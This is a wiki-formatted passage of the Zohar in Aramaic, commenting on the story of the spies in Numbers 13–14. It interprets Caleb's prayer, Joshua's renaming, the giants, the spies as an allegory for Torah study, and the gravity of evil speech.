אמרו ר' חגי הוא וחברא דבין חברייא הוא ושדרו ליה חברייא דבבל למנדע מלין מר' שמעון בן יוחאי ושאר חברייא א&quot;ר ייסא ודאי דא הוא ר' חגי דכל יומוי לא בעא לאחזאה גרמיה במה דידע ועל דא אמר לן דהא בריה זכה ליה באורייתא בגין דאמר קרא {{צ|ראית איש חכם בעיניו תקוה לכסיל ממנו}} {{ממ|משלי|כו|יב}}. ודאי שליחא מהימנא איהו (וזכאה הוא שליחא מהימנא) וזכאה איהו מאן דשדר מלוי בידא דשליחא מהימנא. 

תא חזי אליעזר עבד אברהם מבני כנען הוה. כמה דאת אמר {{צ|כנען בידו מאזני מרמה}} {{ממ|הושע|יב|ח}}. וכנען כתיב עליה {{צ|ארור כנען עבד עבדים יהיה לאחיו}} {{ממ|בראשית|ט|כה}}. ובגין דהוה שליחא מהימנא מה כתיב ביה  {{צ|בא ברוך יהוה}} {{ממ|בראשית|כד|לא}} -  {{צ|ברוך יהוה}} ממש. ועל דא אכתיב הכי באורייתא בגין דנפק מההיא קללה ואתברך ולא די ליה דנפיק מנה אלא דאתברך בשמיה דקב&quot;ה ואוליפנא דאתא מלאך ואעיל מלה דא בפומיה דלבן:


'''{{צ|וישלח אותם משה וגו' כלם אנשים}} {{ממ|במדבר|יג|ג}}''' - כלהו זכאין הוו ורישי דישראל הוו אבל אינון דברו לגרמייהו עיטא בישא אמאי נטלי עיטא דא אלא אמרו אי ייעלון ישראל לארעא נתעבר אנן מלמהוי רישין וימני משה רישין אחרנין דהא אנן זכינן במדברא למהוי רישין אבל בארעא לא נזכי ועל דנטלי עיטא בישא לגרמייהו מיתו אינון וכל אינון דנטלן מלייהו: &lt;קטע סוף=דף קנח א/&gt;

 
{{ממ זהר משולב|ג|קנח|ב}}&lt;קטע התחלה=דף קנח ב/&gt;'''{{צ|אלה שמות האנשים אשר שלח משה וגו'}} {{ממ|במדבר|יג|טז}}''' אמר רבי יצחק משה אסתכל וידע דלא יצלחון בארחייהו כדין צלי עליה דיהושע כדין כלב הוה בדוחקא אמר מה אעביד הא יהושע אזיל בסייעתא עלאה דמשה דשדר ביה נהירו דסיהרא והוא אנהיר עליה בצלותיה בגין דאיהו שמשא. מה עבד כלב אשתמיט מנייהו ואתי לגבי קברייא דאבהן וצלי תמן צלותיה. 

א&quot;ר יהודה ארח אחרא נטיל ועקים שבילין ומטא על קברי דאבהן ואסתכן בגרמיה דהא כתיב  {{צ|ושם אחימן ששי ותלמי ילידי הענק}} {{ממ|במדבר|יג|כב}}. אבל מאן דאיהו בדוחקא לא אסתכל מדי. כך כלב בגין דהוה בדוחקא לא אסתכל מדי ואתא לצלאה על קברי אבהן לאשתזבא מעיטא דא:


'''{{צ|ויקרא משה להושע בן נון יהושע}} {{ממ|במדבר|יג|טז}}'''. רבי יצחק אמר וכי הושע קרייה קרא?! והא כתיב  {{צ|ויאמר משה אל יהושע}} {{ממ|שמות|יז|ט}},  {{צ|ויהושע בן נון נער}} {{ממ|שמות|לג|יא}},  {{צ|ויחלוש יהושע}} {{ממ|שמות|יז|יג}}! אלא אמר ליה משה יה יושיעך מנייהו. 

רבי אבא אמר כיון דשדריה למיעל לתמן אצטריך למהוי שלים ובמה בשכינתא דעד ההיא שעתא נער אקרי כמה דאוקימנא ובההיא שעתא קשיר ליה משה בהדה ואע&quot;ג דאשכחן יהושע בקדמיתא קרא קרייה הכי על ההוא דזמין למקרייה. אמר משה ודאי לא אצטריך דא למיעל תמן אלא בשכינתא והכי אתחזי:


'''{{צ|היש בה עץ אם אין וגו'}} {{ממ|במדבר|יג|כ}}'''. רבי חייא אמר וכי לא הוה ידע משה דאית בה כמה אילנין משניין דא מן דא והא הוא שבח לה לישראל בכמה זמנין והוא אסתפק בדא. והא קב&quot;ה קאמר ליה למשה בקדמיתא דהיא ארץ זבת חלב ודבש. אמר רבי יוסי הא אתערו חברייא דכתיב  {{צ|איש היה בארץ עוץ איוב שמו}} {{ממ|איוב|א|א}}. אמר רבי שמעון רמז להם רמיזא דחכמתא על מה דשאילו בקדמיתא דכתיב  {{צ|היש יהוה בקרבנו אם אין}} {{ממ|שמות|יז|ז}}. אמר תמן תחמון אי היא אתחזיא להאי או להאי. אמר לון אי תחמון דאיבא דארעא כשאר ארעי דעלמא יש בה עץ אילנא דחיי ולא מאתר עלאה יתיר. ואי תחמון דאיבא דארעא יתיר ומשנייא מכל אתר דעלמא תנדעון דהא מעתיקא קדישא קא נגיד ואתמשך ההוא שנוייא עלאה מכל אתרי דעלמא ובדא תנדעון היש בה ע&quot;ץ אם אי&quot;ן ודא בעיתון בקדמיתא (דבמעיכון בעיתון) למנדע דא דכתיב {{צ|היש יהוה בקרבנו}} - {{צ|בקרבנו}} דייקא! או {{צ|אם אין}}. 

ועל דא {{צ|והתחזקתם ולקחתם מפרי הארץ}} למנדע שנוייא דיליה. 

{{צ|והימים ימי בכורי ענבים}}. {{צ|והימים}} מאי קא מיירי דהא ואז בכורי ענבים סגי ליה אלא והימים אינון דאשתמודען כלהו הוו מתחברן בההוא זמנא בההוא אילנא דחטא ביה אדם הראשון כמה דתנינן ענבים היו ועל דא  {{צ|והימים}} - אינון דאשתמודען,  {{צ|ימי בכורי ענבים}} דייקא!


'''{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}''' - &quot;ויבאו&quot; מבעי ליה!? אלא אמר רבי יוסי כלב הוא דאתא לצלאה על קברי אבהתא. אמר כלב יהושע הא ברכיה משה בסיועא עלאה קדישא ויכיל לאשתזבא מנייהו ואנא מה אעביד. אימלך למבעי בעותא על קברי אבהתא בגין דישתזיב מרזהון (ס&quot;א מעיטא בישא דשאר מאללין. 

רבי יצחק אמר מאן דהוה רשים מכלהו דא עאל בגוויה דביה תליא כלא. ות&quot;ח מאן הוא משאר אחרי דיכול לאעלא תמן דהא כתיב {{צ|ושם אחימן ששי ותלמי}} ומדחילו דלהון מאן יכיל לאעלאה &lt;קטע סוף=דף קנח ב/&gt;

 
{{ממ זהר משולב|ג|קנט|א}}&lt;קטע התחלה=דף קנט א/&gt;במערתא. אלא שכינתא עאלת תמן בכלב לבשרא לאבהן דהא מטא זמנא לאעלא בנייהו לארעא דאומי לון קב&quot;ה ודא הוא ויבא עד חברון. תאנא אחימן ששי ותלמי ממאן נפקו זרעא הוו מאינון נפילין דאפיל לון קב&quot;ה בארעא ואולידו מבנת ארעא ומנייהו נפקו גיברי עלמא כמה דכתיב {{צ|המה הגבורים אשר מעולם אנשי השם}} {{ממ|בראשית|ו|ד}}. {{צ|אשר מעולם}} - דשמשי (נ&quot;א מדאתברי) עלמא משתכחי. {{צ|אנשי השם}} - אחימן ששי ותלמי:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}''' {{ש}}
רבי יהודה פתח: {{צ|כה אמר האל יהוה בורא השמים ונוטיהם וגו'}} {{ממ|ישעיהו|מב|ה}}. כמה אית להו לבני נשא לאסתכלא בפולחנא דקב&quot;ה כמה אית להו לאסתכלא במלי דאורייתא דכל מאן דאשתדל באורייתא כאילו מקרב כל קורבנין דעלמא לקמי קב&quot;ה ולא עוד אלא דקב&quot;ה מכפר ליה על כל חובוי ומתקנין ליה כמה כורסיין לעלמא דאתי {{ש}}
'''(חסר)''' {{להשלים}}


'''ר' יהודה הוה אזיל בארחא בהדי ר' אבא'''. {{ש}}
שאל ליה אמר מלה חד בעינא לשאלא כיון דידע קב&quot;ה דזמין בר נש למחטי קמיה ולמגזר עליה מיתה - אמאי ברא ליה? דהא אורייתא הוה תרי אלפין שנין עד לא איברי עלמא וכתיב בה באורייתא {{צ|אדם כי ימות באהל}}. {{צ|איש כי ימות}}. {{צ|וימת}}. {{צ|ויחי פלוני וימת}}. מאי קבעי קב&quot;ה לבר נש בהאי עלמא?! דאפילו אי אשתדל באורייתא יממא וליליא - ימות! ואי לא אשתדל באורייתא - ימות! כלא בחד ארחא בר פרישותא דההוא עלמא כמה דאת אמר {{צ|כטוב כחוטא}} {{ממ|קהלת|ט|ב}}. 

אמר ליה: אורחוי דמארך וגזרי דמארך מה לך למטרח בהו?! מה דאית לך רשו למנדע ולאסתכלא - שאיל! ודלית לך רשו למנדע - כתיב {{ממ|קהלת|ה|ה}} {{צ|אל תתן את פיך לחטיא את בשרך}}! דאורחוי דקב&quot;ה וסתרין גניזין עלאין דהוא סתים וגניז לית לן לשאלא! {{ש}}
אמר ליה: אי הכי הא אורייתא כלא סתים וגניז דהא היא שמא קדישא עלאה הוי ומאן דמתעסק באורייתא כאלו אתעסק בשמיה קדישא ואי הכי לית לן לשאלא ולאסתכלא. {{ש}}
אמר ליה: אורייתא כלא סתים וגלייא ושמיה קדישא סתים וגלייא וכתיב {{צ|הנסתרות ליהוה אלהינו והנגלות לנו ולבנינו}} {{ממ|דברים|כט|כח}}. {{צ|הנגלות לנו}} - דאית רשו לשאלא ולעיינא ולאסתכלא בהו ולמנדע בהו. אבל {{צ|הנסתרות ליהוה אלהינו}} - דיליה אינון וליה אתחזיין דמאן יכיל למנדע ולאתדבקא דעתוי סתימא. וכ&quot;ש למשאל. 

תא חזי לית רשו לבני עלמא למימר מלין סתימין ולפרשא לון בר בוצינא קדישא רבי שמעון! דהא קב&quot;ה אסתכם על ידוי. ובגין דדרא דילה(?) רשימא הוא לעילא ותתא ועל דא מלין אתמרו באתגלייא על ידוי ולא יהא דרא כדרא דאיהו שארי בגויה עד דייתי מלכא משיחא! 

אבל תא חזי כתיב {{צ|ויברא אלהים את האדם בצלמו בצלם אלהים ברא אותו}} {{ממ|בראשית|א|כז}} (ובכלא הוא כעין דוגמא דלעילא. ת&quot;ח) רזא דמלה. {{ש}}
תלת עלמין אית ליה לקב&quot;ה דאיהו גניז בגווייהו. 
* עלמא קדמאה - ההוא עלאה טמירא דכלא דלא אסתכל ביה ולא אתידע ביה בר איהו, דאיהו גניז בגוויה. 
* עלמא תניינא - קשיר בההוא דלעילא, ודא הוא דקב&quot;ה אשתמודע מניה כמה דכתיב {{צ|פתחו לי שערי צדק...זה השער ליהוה}}. ודא הוא עלמא תניינא. 
* עלמא תליתאה - ההוא עלמא תתאה מנייהו דאשתכח ביה פרודא ודא הוא עלמא דמלאכי עלאי שריין בגוויה. וקודשא בריך הוא אשתכח ביה ולא אשתכח. אשתכח ביה השתא - כד בעאן לאסתכלא ולמנדע ליה. אסתלק מנייהו ולא אתחזי עד דכלהו שאלי {{צ|איה מקום כבודו}}. {{צ|ברוך כבוד יהוה ממקומו}}. והאי הוא עלמא דלא אשתכח ביה תדירא. &lt;קטע סוף=דף קנט א/&gt;

{{ממ זהר משולב|ג|קנט|ב}}{{ש}}
&lt;קטע התחלה=דף קנט ב/&gt;כגוונא דא {{צ|בצלם אלהים עשה את האדם}} {{ממ|בראשית|א|כז}} כדין אית ליה תלת עלמין. 
* עלמא קדמאה - האי עלמא דאקרי {{צ|עלמא דפירודא}}, ובר נש אשתכח ביה ולא אשתכח. כד בעאן לאסתכלא ביה - אסתלק מנייהו ולא אתחזי. 
* עלמא תניינא - עלמא דאיהו קשיר בההוא עלמא עלאה ודא הוא גן עדן די בארעא דדא הוא קשיר בעלמא אחרא עלאה. ומהאי אתידע ואשתמודע עלמא אחרא. 
* עלמא תליתאה - עלמא עלאה טמירא גניז וסתים, דלית מאן דידע ליה, כמה דכתיב {{צ|עין לא ראתה אלהים זולתך יעשה למחכה לו}} {{ממ|ישעיהו|סד|ג}}. 

וכלא כגוונא עלאה (קדמאה דאמינא ובקשוט) דכתיב {{צ|בצלם אלהים עשה את האדם}} (ת&quot;ח ודאי){{ש}} 
על דא כתיב {{צ|בנים אתם ליהוה אלהיכם וגו'}} {{ממ|דברים|יד|א}} כמה דאוקמוה ואלין אינון {{צ|בצלם אלהים}}, ואלין ירתין ירותא עלאה כגוונא דיליה. ועל דא אזהר באורייתא {{צ|לא תתגודדו ולא תשימו קרחה}} - דהא לא אתאביד והא שכיח בעלמין טבין עלאין ויקירן להוון חדן כד אסתלק (צדיקא) מהאי עלמא. 

ותא חזי אלמלי לא חב אדם - לא יטעם טעמא דמותא בהאי עלמא בזמנא דעייל לעלמין אחרנין! אבל בגין דחב - טעם טעמא דמותא עד לא ייעול לאינון עלמין. ואתפשט רוחא מהאי גופא, ואשאר ליה בהאי עלמא, ורוחא אסתחיא בנהר דינור לקבלא עונשא ולבתר עיילא לגן עדן דבארעא. ואזדמנא ליה מאנא אחרא דנהורא כהאי פרצופא דגופא דהאי עלמא ממש. ואתלבש ואתתקן ביה. ותמן הוא מדורא דיליה תדיר. ואתקשר בריש ירחי ושבתי בנשמתא, וסליק ואתעטר לעילא לעילא. 

הדא הוא דכתיב {{צ|והיה מדי חדש בחדשו וגו'}} {{ממ|ישעיהו|סו|כג}}. {{צ|מדי חדש בחדשו}} אמאי? אלא רזא דמלה בגין חדתותי דסיהרא דאתעטרא (עטרוי) לאנהרא מן שמשא בההוא זמנא. וכן {{צ|מדי שבת בשבתו}}. {{צ|מדי שבת}} - דא סיהרא. {{צ|בשבתו}} - דא שמשא; דנהורא אתיא לה מן תמן. ועל דא כלא חד מלה! 

ודא הוא ברירא דמלה בר לחייביא דכתיב בהו 'מיתה' לכלהו עלמין, 'כרת' מכלהו עלמין. ואשתציין מכלא כד לא עיילי בתשובה. 

אמר רבי יהודה: בריך רחמנא דשאילנא ורווחנא מלין אלין וקאימנא עלייהו! 


'''אמר ר' שמעון:''' מפרשתא דא אוליפנא רזא דחכמתא ואשתמעו מנה רזין עלאין ויקירין! {{ש}}
תא חזי! קב&quot;ה משבח באורייתא ואמר &quot;''אזילו באורחי! אשתדלו בפולחני! והא אנא מעייל לכון לעלמין טבין לעלמין עלאין''&quot;. {{ש}}
בני נשא דלא ידעי לא מהימני ולא מסתכלי קב&quot;ה אמר &quot;''אזילו! אלילו ההוא עלמא טבא! ההוא עלמא עלאה דכסופא!''&quot; {{ש}}
אינון אמרי: &quot;''איך ניכול לאללא ליה ולמנדע כל האי?!''&quot; 

מה כתיב? {{ש}}
{{צ|עלו זה בנגב}} - &quot;''אשתדלו באורייתא ותחמון דהא היא קימא קמייכו ומנה תנדעון ליה''&quot;.{{ש}} 
{{צ|וראיתם את הארץ מה היא וגו'}} - &quot;''תחמון מנה ההוא עלמא דהא ירותא דאחסנא דאנא עייל לכו בה''&quot;. {{ש}}
{{צ|ואת העם היושב עליה}} - &quot;''אינון צדיקייא דבגנתא דעדן דקיימן שורין שורין ביקרא עלאה בדרגין עלאין''&quot;. {{ש}}
{{צ|החזק הוא חרפה}} - &quot;''בה תחמו אי זכו לכל האי כד אתקפו על יצריהון ותברו ליה אי לא. או כד אתקפו באורייתא למלעי בה יממא וליליא או אי ארפו ידייהו מנה וזכו לכל האי''&quot;. {{ש}}
{{צ|המעט הוא אם רב}} - ''&quot;אי סגיאין אינון דאשתדלו בפולחני ואתקיפו באורייתא בגין דזכו לכל האי אי לא''&quot;

{{צ|ומה הארץ השמנה הוא אם רזה}} - מדאורייתא תנדעון מה הארץ - מה ההוא עלמא אי אסגי טיבו עלאה ליתבהא או אי אזעיר מנה כלום. {{ש}}
{{צ|היש בה עץ אם אין}}  - האית בה אילנא דחיי לעלם ולעלמי עלמין או אי צרורא דחיי אשתכח בגווה אם לא.&lt;קטע סוף=דף קנט ב/&gt;

{{ממ זהר משולב|ג|קס|א}}

&lt;קטע התחלה=דף קס א/&gt;{{צ|ויעלו בנגב ויבא עד חברון}} {{ממ|במדבר|יג|כב}}. {{ש}}
{{צ|ויעלו בנגב}} - בני נשא סלקין בגווה {{צ|בנגב}} - בלבא עצלא - כמאן דאשתדל במגנא בנגיבו דחשיב דלית בה אגר חמי דהא עותרא דהאי עלמא אביד בגינה חשיב דכלא הוא. {{צ|בנגב}} - כמה דאת אמר {{צ|חרבו המים}} ומתרגמינן {{צ|נגיבו}}. 

לבתר {{צ|ויבא עד חברון}} - עד דאתי לאתחברא בה קארי ושאני בה. {{ש}}
{{צ|ושם אחימן ששי ותלמי}} - תמן חמי פליגן סגיאין - טמא וטהור אסור ומותר (נ&quot;א כשר ופסול) עונשין ואגרין. אלין אינון ארחי דאורייתא דקדוקי אורייתא.{{ש}} 
{{צ|ילידי הענק}} - דאתילידו מסטרא דגבורה. {{ש}} 
{{צ|וחברון שבע שנים נבנתה}} - אלין אינון שבעין אנפין דאורייתא. שבעין פנים אית לה - לכל סטרא עשרה. {{ש}} 
{{צ|וחברון}} - דא אורייתא. מאן דאשתדל בה אקרי 'חבר'. {{ש}} 
{{צ|לפני צוען מצרים}} - תנינן אורייתא אית לקבל אורייתא והיינו תורה שבכתב ותורה שבע&quot;פ והאי (מל') חברון מתורה שבכתב נפקת כמה דאת אמר {{צ|אמור לחכמה אחותי את}} {{ממ|משלי|ז|ד}}. והאי 'נבנתה' שבע שנין - דבגין כך אקרי {{צ|בת שבע}}, {{צ|לפני צען מצרים}} כמה דאת אמר {{צ|ותרב חכמת שלמה מחכמת כל בני קדם ומכל חכמת מצרים}} {{ממ|מ&quot;א|ה|י}}. 


{{צ|ויבאו עד נחל אשכול}} - אלין אינון מלי אגדה דרשה דתליין מסטרא דמהימנותא. {{ש}}
{{צ|ויכרתו משם זמורה וגו'}}. אולפין מתמן ראשי פרקין ראשי מלין אינון לבני מהימנותא חדאן במלין ומתברכן מלין בגוייהו ומסתכלן שרשא חד ועקרא חד ולא אשתכח בהו פרודא. אינון דלא משתכחי בני מהימנותא ולא אולפי אורייתא לשמה שוין ליה למהימנותא בפרודא הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} בפרודא. 

מהו {{צ|במוט}}? כמה דאת אמר {{צ|אל יתן למוט רגלך}} {{ממ|תהלים|קכא|ג}}. {{ש}}
{{צ|ומן הרמונים ומן התאנים}} - כלא שוין להני מילי לסטרא אחרא לסטרא דמיגאי לסטרא דפורדא. הדא הוא דכתיב {{צ|וישובו מתור הארץ}}. {{ש}}
{{צ|וישובו}} - תייבין לסטרא בישא ותייבין מארחא דקשוט. אמרי &quot;''מאי אכפת לן עד יומא לא חמינא טב לעלמא אעמלנא בה ביתא ריקם. יתיבנא בקלנא דעמא ולההוא עלמא מאן יזכי ומאן ייעול לגוויה?! טב לן דלא אטרחנא כולי האי!''&quot; 

{{צ|ויספרו לו ויאמרו וגו'}} - הא אעמלנא ולאינא בגין למנדע חולקא דההוא עלמא. {{ש}}
{{צ|וגם זבת חלב ודבש היא}}. טב הוא ההוא עלמא עלאה כמה דידענא באורייתא אבל מאן יכיל למזכי ביה. {{ש}}
{{צ|אפס כי עז העם}} - תקיף הוא דלא יחשיב כל עלמא כלל בגין דיהא ליה עותרא סגיא לאשתדלא ביה מאן הוא דיזכי בה. ודאי {{צ|אפס כי עז העם היושב בארץ}} מאן דבעי למזכי בה בעי למהוי תקיף בעותרא כמה דאת אמר {{צ|ועשיר יענה עזות}} {{ממ|משלי|יח|כג}}. 

{{צ|והערים גדולות בצורות}}. בין מליין כל טובא דלא יחסרון מכלא. ועם כל דא {{צ|וגם ילידי הענק ראינו שם}} - בעי גופא תקיף גיבר כארי (דישתכח תמן תדירא) בגין דהיא מתשת חיליה דבר נש לאשתדלא בההוא איסור והתר טמא וטהור כשר ופסול מאן ייכול לזכאה בה. 

ועוד - {{צ|עמלק יושב בארץ הנגב}} - אי יימא בר נש דאפילו בכל דאי זכי - {{צ|עמלק יושב בארץ הנגב}}! הא יצרא בישא קטיגורא מקטרגא דבר נש דישתכח תדיר בגופא! {{ש}}
{{צ|והחתי והאמורי וגו'}} - כמה מקטרגי משתכחי תמן (בגין) דלא יכיל בר נש למיעל בההוא עלמא כלל! מאן יזכי ליה ומאן ייעול בגויה במלין אלין!

{{צ|ויניאו את לב בני ישראל}}. בגין דאפיקו שום ביש עלה כמה דאת אמר {{צ|ויוציאו את דבת הארץ}} {{ממ|במדבר|יג|לב}}. 

אינון בני מהימנותא מאי קא אמרי? {{צ|אם חפץ בנו יהוה ונתנה לנו}} - כיון דישתדל בר נש ברעותא דלבא לגבי קב&quot;ה - לא בעי מנן אלא לבא ויסתמרון ההוא רשימא קדישא דכתיב {{צ|ועמך כלם צדיקים לעולם יירשו ארץ}}.&lt;קטע סוף=דף קס א/&gt; 

{{ממ זהר משולב|ג|קס|ב}}

&lt;קטע התחלה=דף קס ב/&gt;אבל {{צ|אך ביהוה אל תמרודו}}! בעי דלא ימרדון באורייתא! דאורייתא לא בעי עותרא ולא מאני דכספא ודהבא. 

{{צ|ואתם אל תיראו את עם הארץ}} - דהא גופא תבירא אי ישתדל באורייתא ישכח אסוותא בכלא! הדא הוא דכתיב {{צ|רפאות תהי לשרך ושקוי לעצמותיך}}, וכתיב {{צ|ולכל בשרו מרפא}}. וכל אינון מקטרגי אינון מכרזאן ואמרי &quot;''פנו אתר לפלנייא עבדא דמלכא!''&quot;. בגין כך {{צ|אל תיראו}}. {{ש}}
{{צ|כי לחמנו הם}}. אינון בגרמייהו מזמנן מזוגי בכל יומא לאינון דמשתדלי באורייתא כמה דאת אמר {{צ|ואת העורבים צויתי לכלכך}} {{ממ|מ&quot;א|יז|ד}}, וכתיב {{צ|והעורבים מביאים לו לחם ובשר}} {{ממ|מ&quot;א|יז|ו}}. 

{{צ|סר צלם מעליהם}} - מאן {{צ|צלם}}? דא תוקפא דדינא קשיא. מאי טעמא אעדי? משום ד{{צ|יהוה אתנו אל תיראום}} - כלא אעדיאו בגין אורייתא. 

זכאה חולקהון דאינון דמשתדלי באורייתא לשמה - דהא מתקשרי בקב&quot;ה ממש ואקרון 'אחים ורעים'! הדא הוא דכתיב {{צ|למען אחי ורעי אדברה נא שלום בך}} {{ממ|תהלים|קכב|ח}}:


'''{{צ|ויבאו עד נחל אשכול וגו'}} {{ממ|במדבר|יג|כג}}'''.{{ש}} 
רבי אבא אמר כרתו ההוא אשכול אתו לסלקא ליה לא יכילו. אתו לנטלא ליה לא יכילו אתו כלב ויהושע נטלו ליה וסליקו ליה ואזדקף על ידייהו הדא הוא דכתיב {{צ|וישאוהו במוט בשנים}} - {{צ|בשנים}} - באינון שנים יחידן. {{צ|זמורה}} מאי קא בעאן? אלא אשכול הוה תלייא ביה ובעוד דהוה מתחבר באתריה אקרי {{צ|זמורה}} לבתר קרייה {{צ|מוט}} דכתיב {{צ|וישאוהו במוט}} ההוא דאשתמודע ההוא דכרתו מכאן ידעו יהושע וכלב דאינון אתחזיין למיעל לארעא ולמהוי לון בה חלק ואחסנא. עד דהוו אתיין אמלכו עלייהו כלהו. קאים כלב באיבא. אמר איבא איבא אי בגינך אנן מתקטלין מה אנן בחולקך מיד קליל גרמיה ויהבו לון. 

ר' אלעזר אמר לא יהבו לאחרי דהא כתיב {{צ|וישאוהו במוט}} וכתיב {{צ|בשנים}} ובכלהו לא הוו שנים כוותייהו ומכאן אוליף יהושע לבתר דכתיב {{צ|וישלח יהושע בן נון מן השטים שנים אנשים מרגלים}} {{ממ|יהושע|ב|א}} והני שנים הא אוקמוה קדמאי. וכד מטו לגבייהו דישראל יהבו לון ואינון אשתארו ועבדו גרמייהו שיריים. ר' יצחק אמר כד הוו מטאן לגבייהו דאינון ענקים הוו שוויין ההוא חוטרא דמשה קמייהו ואשתזיבו ומנלן דההוא חוטרא יהיב לון הדא הוא דכתיב {{צ|ויאמר אליהם עלו זה בנגב}}. כתיב הכא {{צ|עלו זה}} וכתיב התם {{צ|ואת המטה הזה וגו'}} ובגיניה אשתזיבו. דאי תימא הני ענקייא שבקי לון אלא אתו לנסבא לון והוו שוויין לקמייהו ההוא חוטרא ומשתזבי (ס&quot;א ומשתמטי) מקמייהו. 

רבי יהודא אמר מסורת שמא קדישא מסר לון משה ובגיניה אשתזיבו מנייהו. רבי חייא אמר תלת שמהן אקרון. נפילים. ענקים. רפאים. וכלהו אורכי יומי. נפילין אקרון בקדמיתא לבתר כד אתחברון בבנת בני נשא ואולידו מנייהו אקרון ענקים. לבתר דהוו אזלי ושטאן בהאי עלמא ומתרפיין מההוא דלעילא אקרון רפאים. אמר ר' יהודה והא כתיב {{צ|הרפאים יחוללו}} {{צ|רפאים יחשבו אף הם כענקים}} {{ממ|דברים|ב|יא}}. 

אמר ליה הכי הוא בגין דענקים אתו מהאי סטרא ומהאי סטרא ואתיאשו יתיר בארעא. כגוונא דא רפאים ומנייהו נפקי והוו אורכי יומי וכד מתחלשי אתחלש פלגות גופא ופלגות קאים כיון דפלגות גופא הוה מית הוו נסבי עשבא מעשבי ברא ושדיין לפומייהו ומיתו ובגין דאינון בעאן לקטלא גרמייהו אקרון רפאים אמר ר' יצחק שדיין גרמייהו בימא רבא וטבען ומתין הדא הוא דכתיב {{צ|הרפאים יחוללו מתחת מים ושוכניהם}} {{ממ|איוב|כו|ה}}. ר' שמעון אמר אלמלא הוו עיילין ישראל לארעא בסימנא (נ&quot;א באומנא) &lt;קטע סוף=דף קס ב/&gt;

 
{{ממ זהר משולב|ג|קסא|א}}&lt;קטע התחלה=דף קסא א/&gt;דלישנא בישא לא הוה קאים עלמא רגעא חד. מאן אומנא דלישנא בישא נחש ורזא דמלה מדאתא נחש על חוה אטיל בה זוהמא. אמר ר' שמעון ועל כלא מחל קב&quot;ה בר מן לישנא בישא בגין דכתיב {{צ|אשר אמרו ללשוננו נגביר שפתינו אתנו מי אדון לנו}} {{ממ|תהלים|יב|ה}}. תא חזי כמה עבד ההוא לישנא בישא גזר על אבהתנא דלא ייעול לארעא. ומיתו אינון דאמרו ואתגזר בכיה לדרי דרין (כ&quot;ש הכא דאפיקו לישנא בישא על כלא) כביכול כיון דאפיקו על ארעא קדישא כאילו אפיקו עליה בגין כך קני קב&quot;ה על דא (כלומר קני לשמיה) וקאימו ישראל כלהו לאשתצאה מעלמא אלמלא בעותיה דמשה:


'''{{צ|ויספרו לו ויאמרו וגו'}}'''. {{ש}}
אמר רבי חייא מ&quot;ש הכא {{צ|ויספרו}} ולא כתיב &quot;ויגידו&quot; או &quot;ויאמרו&quot;? אלא כל חד אוליף מלה בלחודוי. {{צ|ויגידו}} בכל אתר רמז קא רמיז בחכמתא והא אתמר. {{צ|ויאמר}} - אירה(?) בעלמא. ויאמרו הרהורא דלבא. ויאמרו תפקידתא והא אוקימנא בכמה אתר. {{צ|ויספרו}} - פרישותא דמלה בכל אתר. 

{{צ|באנו אל הארץ}} - &quot;הלכנו&quot; מבעי ליה!? אלא {{צ|באנו}} - עאלנא לתמן לההיא ארעא דהוית משבח בכל יומא והוית אמרת דלית דכוותה. 

{{צ|וגם זבת חלב ודבש היא}}. רבי יצחק אמר מאן דבעי למימר כדיבא אמר מלה דקשוט בקדמיתא בגין דיהמנו ליה כדבוי. רבי חייא אמר (אלא) הכי אמרו עאלנא לההיא ארעא דהוית משבח לה כל יומא ואמרת דלית דכותה (וגם זבת חלב ודבש היא) וארימת שבחא על כלא ולאו הכי דהא זה פריה אתכלא חד מאינון זעירין קטפו. אמרו אי לדא אחסין קב&quot;ה לישראל וסבלו כל אינון עקתין וליאותין הא בארעא דמצרים אית אתכלין ואיבין דארעא יתיר על חד תרין:

{{צ|אפס כי עז העם}} - אורחיה דעלמא דאינון גברין מגיחי קרבא יתבין לבד לאסתמרא ארחין והכא אפילו אינון בני מתא תקיפין גבורין. והערים בצורות דאפילו כל מלכין דעלמא יתכנשו עלייהו לא יעבדון בהו פגימותא. א&quot;ר יוסי כל מה דאמרי בלישנא בישא אמרו וקשיא מכלהו דכתיב {{צ|עמלק יושב בארץ הנגב}}. לבר נש דנשכיה חויה כד בעאן לאגזמא ליה אמרי הא חויא הכא. ר' אבא אמר ודאי דא קשיא מכל מה דאמרי כלומר ההוא דאגח קרבא בכלא הא הכא זמין. ובאן אתר בארץ הנגב דהא הוא אתר לאעלאה ביה. מיד ותשא כל העדה ויתנו את קולם קביעו בכיה לדורות לעלמין בההוא ליליא, א&quot;ר יוסי עיטא נסיבו על כלא לאפקא שום ביש. מאי על כלא על ארעא ועל קב&quot;ה. א&quot;ר יצחק על ארעא תינח. על קב&quot;ה מנין. אמר ליה משמע דכתיב {{צ|אפס כי עז העם}} מאן יכיל בהו כי עז העם דייקא. וכתיב {{צ|עמלק יושב בארץ הנגב}} - כדין גרמו כל האי כמה דאתמר ובעא קב&quot;ה לשיצאה לון מן עלמא הדא הוא דכתיב {{צ|ויאמר להשמידם לולי משה בחירו עמד בפרץ לפניו וגו'}} {{ממ|תהלים|קו|כג}}:


'''{{צ|ועתה יגדל נא כח אדני}} {{ממ|במדבר|יד|יז}}'''. {{ש}}
ר' אחא ור' יוסי אמרי זכאי אינון ישראל מעמין עכו&quot;ם דעלמא. דקב&quot;ה אתרעי בהו ואתכני בהו ואתפאר בהו דהא עלמא לא אבדי אלא בגיניהון דישראל דישתדלון באורייתא בגין דחד בחד אתקשרן וישראל לתתא בהאי עלמא אינון קיומא דיליה וקיומא דכל שאר עמין אימתיב זמן דעבדי רעותא דמאריהון. תא חזי כד ברא קב&quot;ה בר נש בעלמא אתקין ליה כגוונא עלאה (יקירא) ויהב ליה חיליה ותוקפיה באמצעיתא דגופא דתמן שריא לבא דהוא תוקפא (ומזונא) דכל גופא ומתמן אתזן כל גופא (וכל אינון שייפי דגופא מתמן אתזנו). והא לבא אחיד &lt;קטע סוף=דף קסא א/&gt;

 
